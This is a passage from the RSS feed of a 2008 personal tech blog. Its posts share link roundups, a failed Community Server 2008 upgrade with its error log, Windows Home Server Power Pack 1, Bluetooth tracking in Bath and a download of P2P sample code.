		href = &#34;https://www.teleflip.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Teleflip
	&lt;/span&gt;
&lt;/a&gt; - goes a step further and automatically figures out the carrier (also only for the US).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.codeplex.com/TFSAdmin&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TFS Admin
	&lt;/span&gt;
&lt;/a&gt; - seems to do a few interesting things if you admin TFS (I have not used it first hand so can&amp;rsquo;t say).&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://manybooks.net/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Many Books
	&lt;/span&gt;
&lt;/a&gt; - offers thoughts of &lt;strong&gt;free eBooks&lt;/strong&gt; in many formats for your PDA, iPod, or eBook reader.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://hadoop.apache.org/core/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Hadoop
	&lt;/span&gt;
&lt;/a&gt; - is a framework for running applications on large clusters built of commodity hardware; it is effectively a grid application which under the covers uses a &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/DCE_Distributed_File_System&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		DFS
	&lt;/span&gt;
&lt;/a&gt; and can supposedly scale up to reliably store and process petabytes.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://research.microsoft.com/research/EmbeddedSystems/MIC/mic.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Invisible Computing
	&lt;/span&gt;
&lt;/a&gt; - research prototype for making small devices part of the seamless computing world. It consists of compact middleware for constructing embedded web services applications and a small component based Real-Time Operating System with TCP/IP networking to make middleware run straight on the metal on several embedded processors.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.chumby.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Chumby
	&lt;/span&gt;
&lt;/a&gt; - seems &lt;a
	
		href = &#34;http://www.chumby.com/pages/learn_overview&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		interesting concept
	&lt;/span&gt;
&lt;/a&gt; - but I get all that on my phone and will it work in the uk?&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.aboutmyip.com/AboutMyXApp/DeltaCopy.jsp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Delta Copy
	&lt;/span&gt;
&lt;/a&gt; -  robocopy on steroids; this on copies the sectors that have changed. So if you have a 2 gb PST file – only the new sectors are copied instead of the whole file. Note – there as issues with Vista!&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.officelabs.com/projects/pptPlex/Pages/default.aspx%20&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		pptPlex
	&lt;/span&gt;
&lt;/a&gt; – allows you to present PowerPoint using a zoomable canvas instead of slides – quite interesting.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5222&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Job Security</title>
      <link>/post/2008/09/job-security/</link>
      <pubDate>Mon, 01 Sep 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/09/job-security/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/JobSecurity_FC75/image.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;job security image&#34;/&gt;
        &lt;figcaption&gt;job security image&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Click to open original image.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Photosynth</title>
      <link>/post/2008/09/photosynth/</link>
      <pubDate>Mon, 01 Sep 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/09/photosynth/</guid>
      <description>&lt;p&gt;You might have heard of &lt;a
	
		href = &#34;http://labs.live.com/photosynth/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Photosynth
	&lt;/span&gt;
&lt;/a&gt; - it was announced last year; but if you ever wondered what the big deal was about Photosynth (or have not heard of it), then &lt;a
	
		href = &#34;http://dslrblog.com/photosynth-wows-audience-at-ted/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		check out this video
	&lt;/span&gt;
&lt;/a&gt;. Also this is &lt;a
	
		href = &#34;http://photosynth.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		open to all
	&lt;/span&gt;
&lt;/a&gt; now for free.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5221&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The Progress Bar</title>
      <link>/post/2008/09/the-progress-bar/</link>
      <pubDate>Mon, 01 Sep 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/09/the-progress-bar/</guid>
      <description>&lt;p&gt;Someone sure loves XP and their progress bar!&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/the_progress_bar.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt; &lt;/p&gt;
&lt;p&gt;{via &lt;a
	
		href = &#34;http://karan.org/blog/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Karan
	&lt;/span&gt;
&lt;/a&gt;}&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5220&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Tried and failed to upgrade to CS 2008</title>
      <link>/post/2008/09/tried-and-failed-to-upgrade-to-cs-2008/</link>
      <pubDate>Mon, 01 Sep 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/09/tried-and-failed-to-upgrade-to-cs-2008/</guid>
      <description>&lt;p&gt;As some of you noticed my blog either looked different for at some point recently or for a while it was not even available and it was all a terrible mess. As you might know I am running this on Community Server 2007 (CS 2007); CS 2008 was released some time back I thought maybe it is about time that I upgrade to that. Now you would think that it should be a painless process – boy how wrong one can be!&lt;/p&gt;
&lt;p&gt;After weeks of trying (whenever I could take out time from a very hectic work schedule) I just could not get it to work. Even though the upgrade was “supposedly” successful (as shown by the screen shot below) nothing was working. After some digging it seems the Themes were the main culprit; &lt;a
	
		href = &#34;http://telligent.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Telligent
	&lt;/span&gt;
&lt;/a&gt; has completely re-worked the theme engine from CS 2007 to CS 2008 and in the process anything (including the Default theme in CS 2007) breaks.&lt;/p&gt;
&lt;p&gt;I have to admit I am not loving CS anymore. At one point, the idea of running a .NET based blogging service (.dotText if anyone remembers) was a cool idea. The geek in me could customize it to my hearts content. But since the release of CS and the whole commercialisation of it; the product just seems to have gone off on a tangent and more geared to the corporate world and they don’t seem to be interested in individuals like me. Now, don’t get me wrong I am not against commercialisation (hey we all need to pay our bills), I am all for the fact that this this scales up very well and someone like Avanade would probably use this for their “blogging engine” (actually being the geeks that we are, we might end up building one in our spare time). &lt;p&gt;

    &lt;img src=&#34;images/emotion-1.gif&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;But for me it now has lost it magic! So, I am interested in knowing what other options are there if any? I would like it to be open source and I would like to host it on my own domain. Any ideas?&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/UpgradetoCS2008_E305/CS2008Upgrade1.jpg&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/CS2008Upgrade1_thumb.jpg&#34; alt=&#34;CS 2008 Upgrade1&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/UpgradetoCS2008_E305/image_3.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb_3.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/UpgradetoCS2008_E305/image_4.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb_4.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/UpgradetoCS2008_E305/image_5.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb_5.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here is one of the many errors that I was getting:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-console&#34; data-lang=&#34;console&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Error:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;&lt;/span&gt;25/07/2008 17:05:13 -- Updating posts for reindexing and search  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;25/07/2008 17:05:13 -- Upgrading role icons  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;25/07/2008 17:05:13 -- Moved 0 of 1 role icons into centralized storage  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;25/07/2008 17:05:13 -- Upgrading rank icons  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;25/07/2008 17:05:13 -- Moved 0 of 0 rank icons into centralized storage  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;25/07/2008 17:05:13 -- Upgrading user avatars  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;25/07/2008 17:05:13 -- Moved 0 of 0 avatars into centralized storage  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;25/07/2008 17:05:13 -- cs\_UserAvatar table truncated  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;25/07/2008 17:05:13 -- Upgrading user files  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;25/07/2008 17:05:13 -- EXCEPTION: Could not find a part of the path &amp;#39;C:\\AltooFaltoo\\temp\\blogbackup\\weblog\\filestorage&amp;#39;.  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   at System.IO.\_\_Error.WinIOError(Int32 errorCode, String maybeFullPath)  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   at System.IO.Directory.InternalGetFileDirectoryNames(String path, String userPathOriginal, String searchPattern, Boolean includeFiles, Boolean includeDirs, SearchOption searchOption)  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   at System.IO.Directory.GetDirectories(String path, String searchPattern, SearchOption searchOption)  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   at System.IO.Directory.GetDirectories(String path)  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   at CommunityServer.Upgrader.FileUpgrader.UpgradeUserFiles()  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   at CommunityServer.Upgrader.Part4.MoveFilesToCfs()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Test Post – please ignore</title>
      <link>/post/2008/08/test-post-please-ignore/</link>
      <pubDate>Thu, 28 Aug 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/08/test-post-please-ignore/</guid>
      <description>&lt;p&gt;Testing, testing, can anyone see this?&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5218&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Big Brother watching via Bluetooth?</title>
      <link>/post/2008/07/big-brother-watching-via-bluetooth/</link>
      <pubDate>Mon, 21 Jul 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/07/big-brother-watching-via-bluetooth/</guid>
      <description>&lt;p&gt;Guardian has an &lt;a
	
		href = &#34;http://www.guardian.co.uk/uk/2008/jul/21/civilliberties.privacy&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		interesting story
	&lt;/span&gt;
&lt;/a&gt; on how Bluetooth is being used to track people&amp;rsquo;s movement in Bath. The concern is that the 10 or so scanners not only pick up your mobile&amp;rsquo;s ID (which you have set) but can also pick up your Identity via your name. email and phone numbers. So think carefully before switching on your Bluetooth on the mobile!&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5216&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>P2P Code</title>
      <link>/post/2008/07/p2p-code/</link>
      <pubDate>Mon, 21 Jul 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/07/p2p-code/</guid>
      <description>&lt;p&gt;It took a while for me to get around to this but the P2P Code to go along with &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2008/03/06/p2p-programming-with-wcf-and-net-v3-5.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		my MSDN Article
	&lt;/span&gt;
&lt;/a&gt; &amp;ldquo;P2P Programming with WCF and .NET v3.5&amp;rdquo;. I don&amp;rsquo;t know why this code was not available on MSDN in the first place.&lt;/p&gt;
&lt;p&gt;Any ways, the can be downloaded &lt;a
	
		href = &#34;http://cid-b29d99a717d8755c.skydrive.live.com/self.aspx/Public/P2P%20MSDN%20Article%20Final%20Code.rar&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		from here
	&lt;/span&gt;
&lt;/a&gt; (456.2 KB).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5217&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>WHS Power Pack 1 Released</title>
      <link>/post/2008/07/whs-power-pack-1-released/</link>
      <pubDate>Mon, 21 Jul 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/07/whs-power-pack-1-released/</guid>
      <description>&lt;p&gt;This more than a &amp;ldquo;Power Pack&amp;rdquo; and fixes a whole host of issues including the (in)famous &lt;a
	
		href = &#34;http://support.microsoft.com/kb/946676/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		data corruption bug
	&lt;/span&gt;
&lt;/a&gt;. If you have been living in a cave then you can catch up here on what the &lt;a
	
		href = &#34;http://msmvps.com/blogs/xperts64/archive/2008/06/10/windows-home-server-public-beta-includes-x64.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		fuss is all about
	&lt;/span&gt;
&lt;/a&gt;? Here are the highlights of the fixes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Support for home computers that are running Windows Vista x64 editions&lt;/li&gt;
&lt;li&gt;Backup of Home Server shared folders&lt;/li&gt;
&lt;li&gt;Improvements to remote access&lt;/li&gt;
&lt;li&gt;More efficient power consumption&lt;/li&gt;
&lt;li&gt;Improved performance&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you are running WHS I would highly recommend you install this; you can get WHS PP1 &lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?FamilyId=1A6AEF46-DB57-401F-814F-6EFA26E7A1E8&amp;amp;displaylang=en&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		from here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5215&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #14</title>
      <link>/post/2008/07/interesting-find-14/</link>
      <pubDate>Sun, 13 Jul 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/07/interesting-find-14/</guid>
      <description>&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.economist.com/science/displaystory.cfm?story_id=11529364&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Search of Forever
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://zunethings.co.uk/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ZuneThings.co.uk
	&lt;/span&gt;
&lt;/a&gt; - for those in the UK wanting a Zune + Accessories, etc.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.cozi.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Cozi
	&lt;/span&gt;
&lt;/a&gt; - new way busy families stay organized, manage schedules and coordinate with each other.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://browsershots.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Browsershots
	&lt;/span&gt;
&lt;/a&gt; - test your site among a host of browsers and see how it prevails; so how &lt;a
	
		href = &#34;http://browsershots.org/http://www.desigeek.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		well does my blog do
	&lt;/span&gt;
&lt;/a&gt;?&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.asktheadmin.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Ask the Admin
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;How to &lt;a
	
		href = &#34;http://www.sonnyradio.com/airfactory.htm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		hide an airplane factory
	&lt;/span&gt;
&lt;/a&gt;?&lt;/li&gt;
&lt;li&gt;Bill G&amp;rsquo;s &lt;a
	
		href = &#34;http://www.microsoft.com/presspass/exec/billg/videos/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		history
	&lt;/span&gt;
&lt;/a&gt; from MS; and &lt;a
	
		href = &#34;http://blog.seattlepi.nwsource.com/microsoft/archives/141871.asp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		his emails
	&lt;/span&gt;
&lt;/a&gt;. 😄&lt;/li&gt;
&lt;li&gt;Windows 7, &lt;a
	
		href = &#34;http://www.infoworld.com/article/08/06/24/Microsoft_VP_confirms_Windows_7_ship_date_January_2010_1.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		not that far off
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
